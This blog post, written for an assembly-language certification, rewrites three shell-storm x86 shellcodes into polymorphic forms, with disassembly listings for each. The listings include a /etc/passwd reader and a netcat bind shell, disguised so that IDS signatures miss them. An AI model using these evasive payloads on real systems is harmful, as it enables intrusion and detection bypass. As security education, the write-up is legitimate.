SLAEx86 : Polymorphic Shellcodes

The word polymorphic comes from two words ( poly - many , morph - shape ). It means the existence of same thing in multiple form. Similarly in shellcode with same functionality can be written in multiple ways with a motive mostly to obfuscate and bypass malware detection service. In this post I will take up 3 shellcodes from shell-storm and try to create the polymorphic versions of the shellcode. For each polymophic shellcode I have used a different technique.

Shellcode 1: Exit Shellcode ( http://shell-storm.org/shellcode/files/shellcode-623.php )
Size : 8 bytes

 31  c0    xor eax,eax
 b0  01    mov al,0x1
 31  db    xor ebx,ebx
 cd  80    int 0x80

We can see that at line 3 the code is xor'ing out ebx and it is storing the value 0 at the time of the the execution of the program. The value which ebx stores is the value that is returned after a program exits. Generally from the exit values we can determine the type of exits, if it was a clean exit or some abnormal termination of the code. Let us imagine that for our current situation we are really not bothered about the return value 0 and we are okay with any value returned. So we can happily remove the line of code xor ebx,ebx and accept any garbage value stored inside ebx. So our new code becomes 6 bytes.

31  c0    xor eax,eax
b0  01    mov al,0x1
cd  80    int 0x80

Can we further shorten it ? Yes. The instruction mov al,0x1 can be replaced with inc eax. This will reduce the size by 1 byte as inc eax is 1 byte opcode . Our final shellcode is 5 bytes.

 31  c0   xor   eax,eax
       40   inc   eax
 cd  80   int    0x80

Reduction in size : 60 % smaller in size




Shellcode 2 :  cat /etc/passwd Shellcode (http://shell-storm.org/shellcode/files/shellcode-571.php)
Size : 43 bytes

This was a slight challenging one as the code already seemed to be optimized. I had to keep in mind that the morphed code should be lesser than 150 % of the original shellcode. The changes I made here is replacing push instruction with mov instruction. Instead of pushing the hex encoded strings to the stack using push instruction , we will move the strings directly to stack using mov instruction and then adjust the stack pointer with sub instruction. Our final shellcode is 65 bytes in size

08048060 <_start>:
 8048060: 31 d2                        xor    edx,edx
 8048062: 52                                    push   edx
 8048063: c7 44 24 fc 2f 63 61 mov    DWORD PTR [esp-0x4],0x7461632f   ;removed push
 804806a: 74
 804806b: c7 44 24 f8 2f 62 69 mov    DWORD PTR [esp-0x8],0x6e69622f  ;removed push
 8048072: 6e
 8048073: 83 ec 08                      sub    esp,0x8 ; subtract 8 bytes to adjust the stack pointer
 8048076: 89 e3                        mov    ebx,esp
 8048078: 52                                    push   edx
 8048079: c7 44 24 fc 73 73 77 mov    DWORD PTR [esp-0x4],0x64777373   ;removed push
 8048080: 64
 8048081: c7 44 24 f8 2f 2f 70 mov    DWORD PTR [esp-0x8],0x61702f2f    ;removed push
 8048088: 61
 8048089: c7 44 24 f5 2f 65 74 mov    DWORD PTR [esp-0xb],0x6374652f   ;removed push
 8048090: 63
 8048091: 83 ec 0b                      sub    esp,0xb ; subtract 12 bytes to adjust the stack pointer
 8048094: 89 e1                        mov    ecx,esp
 8048096: 31 c0                        xor    eax,eax
 8048098: b0 0b                        mov    al,0xb
 804809a: 52                                    push   edx
 804809b: 51                                    push   ecx
 804809c: 53                                    push   ebx
 804809d: 89 e1                        mov    ecx,esp
 804809f:         cd 80                        int    0x80

Increment in size : 51.16 % increment in size



Shellcode 3 : netcat Shellcode ( http://shell-storm.org/shellcode/files/shellcode-872.php )
Size : 58 bytes

For creating a polymorphic version of this shellcode I took inspiration from this shellcode ( http://shell-storm.org/shellcode/files/shellcode-256.php ). The author mentioned that the technique he implemented is to defend against IDS signatures. The obfuscation has been done to to avoid the detection of the opcodes (cd 80) which means an interrupt 0x80. So in this shellcode we will not find any mention of the opcode ( cd 80 ). At the end of the code there is CALL ESP instead of  INT 0x80. As the author didn't mention the logic behind the implementation, I decided to put it inside a debugger and tried to understand how inspite of not having INT 0x80 instruction, the code still works ? If we look into the disassembly we will find that certain value gets subtracted from EDI and the result is stored in EDI. Examining EDI register we see it stores the value 0x80cd. This is followed by a push operation. So EDI values is pushed onto the stack and stack pointer now points to 0x80cd.  Now we know that the opcode for int 0x80 is on top of the stack where the stack pointer is currently pointing. The next instruction is CALL ESP. So what happens here is that ESP contains the address of the top of the stack which is currently storing opcode 80cd and when CALL ESP instruction is executed EIP register moves to the address that is pointed to the address by ESP and starts executing the opcode 0x80 as an opcode for  INT 0x80 instruction which further executes our actual code which was waiting to get triggered by 0x80 interrupt.


So the changes that I made in the polymorphic versions are
1) Instead of hardcoding the syscall for execve, I added a code to do a subtraction and stored the value 11 or 0xB
    8048096: b0 63                mov    al,0x63
    8048098: 2c 58                sub    al,0x58

2) Instead of using the instruction INT 0x80, I stored the opcode in the register, pushed it on the stack and used CALL ESP technique to execute the opcode
    804809a: ba ce 90 ff ff        mov    edx,0xffff90ce
    804809f: 81 ea 01 10 ff ff    sub    edx,0xffff1001
    80480a5: 52                            push   edx
    80480a6: 31 d2                xor    edx,edx
    80480a8: ff d4                call   esp

The size of the shellcode is 74 bytes

08048060 <_start>:
 8048060: 31 c0                xor    eax,eax
 8048062: 31 d2                xor    edx,edx
 8048064: 50                            push   eax
 8048065: 68 37 37 37 31        push   0x31373737
 804806a: 68 2d 76 70 31        push   0x3170762d
 804806f:         89 e6                mov    esi,esp
 8048071: 50                            push   eax
 8048072: 68 2f 2f 73 68        push   0x68732f2f
 8048077: 68 2f 62 69 6e        push   0x6e69622f
 804807c: 68 2d 6c 65 2f        push   0x2f656c2d
 8048081: 89 e7                mov    edi,esp
 8048083: 50                            push   eax
 8048084: 68 2f 2f 6e 63        push   0x636e2f2f
 8048089: 68 2f 62 69 6e        push   0x6e69622f
 804808e: 89 e3                mov    ebx,esp
 8048090: 52                            push   edx
 8048091: 56                            push   esi
 8048092: 57                            push   edi
 8048093: 53                            push   ebx
 8048094: 89 e1                mov    ecx,esp
 8048096: b0 63                mov    al,0x63
 8048098: 2c 58                sub    al,0x58
 804809a: ba ce 90 ff ff        mov    edx,0xffff90ce
 804809f:         81 ea 01 10 ff ff    sub    edx,0xffff1001
 80480a5: 52                            push   edx
 80480a6: 31 d2                xor    edx,edx
 80480a8: ff d4                call   esp

Increment in size : 27.5 %



This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification: http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: PA-1191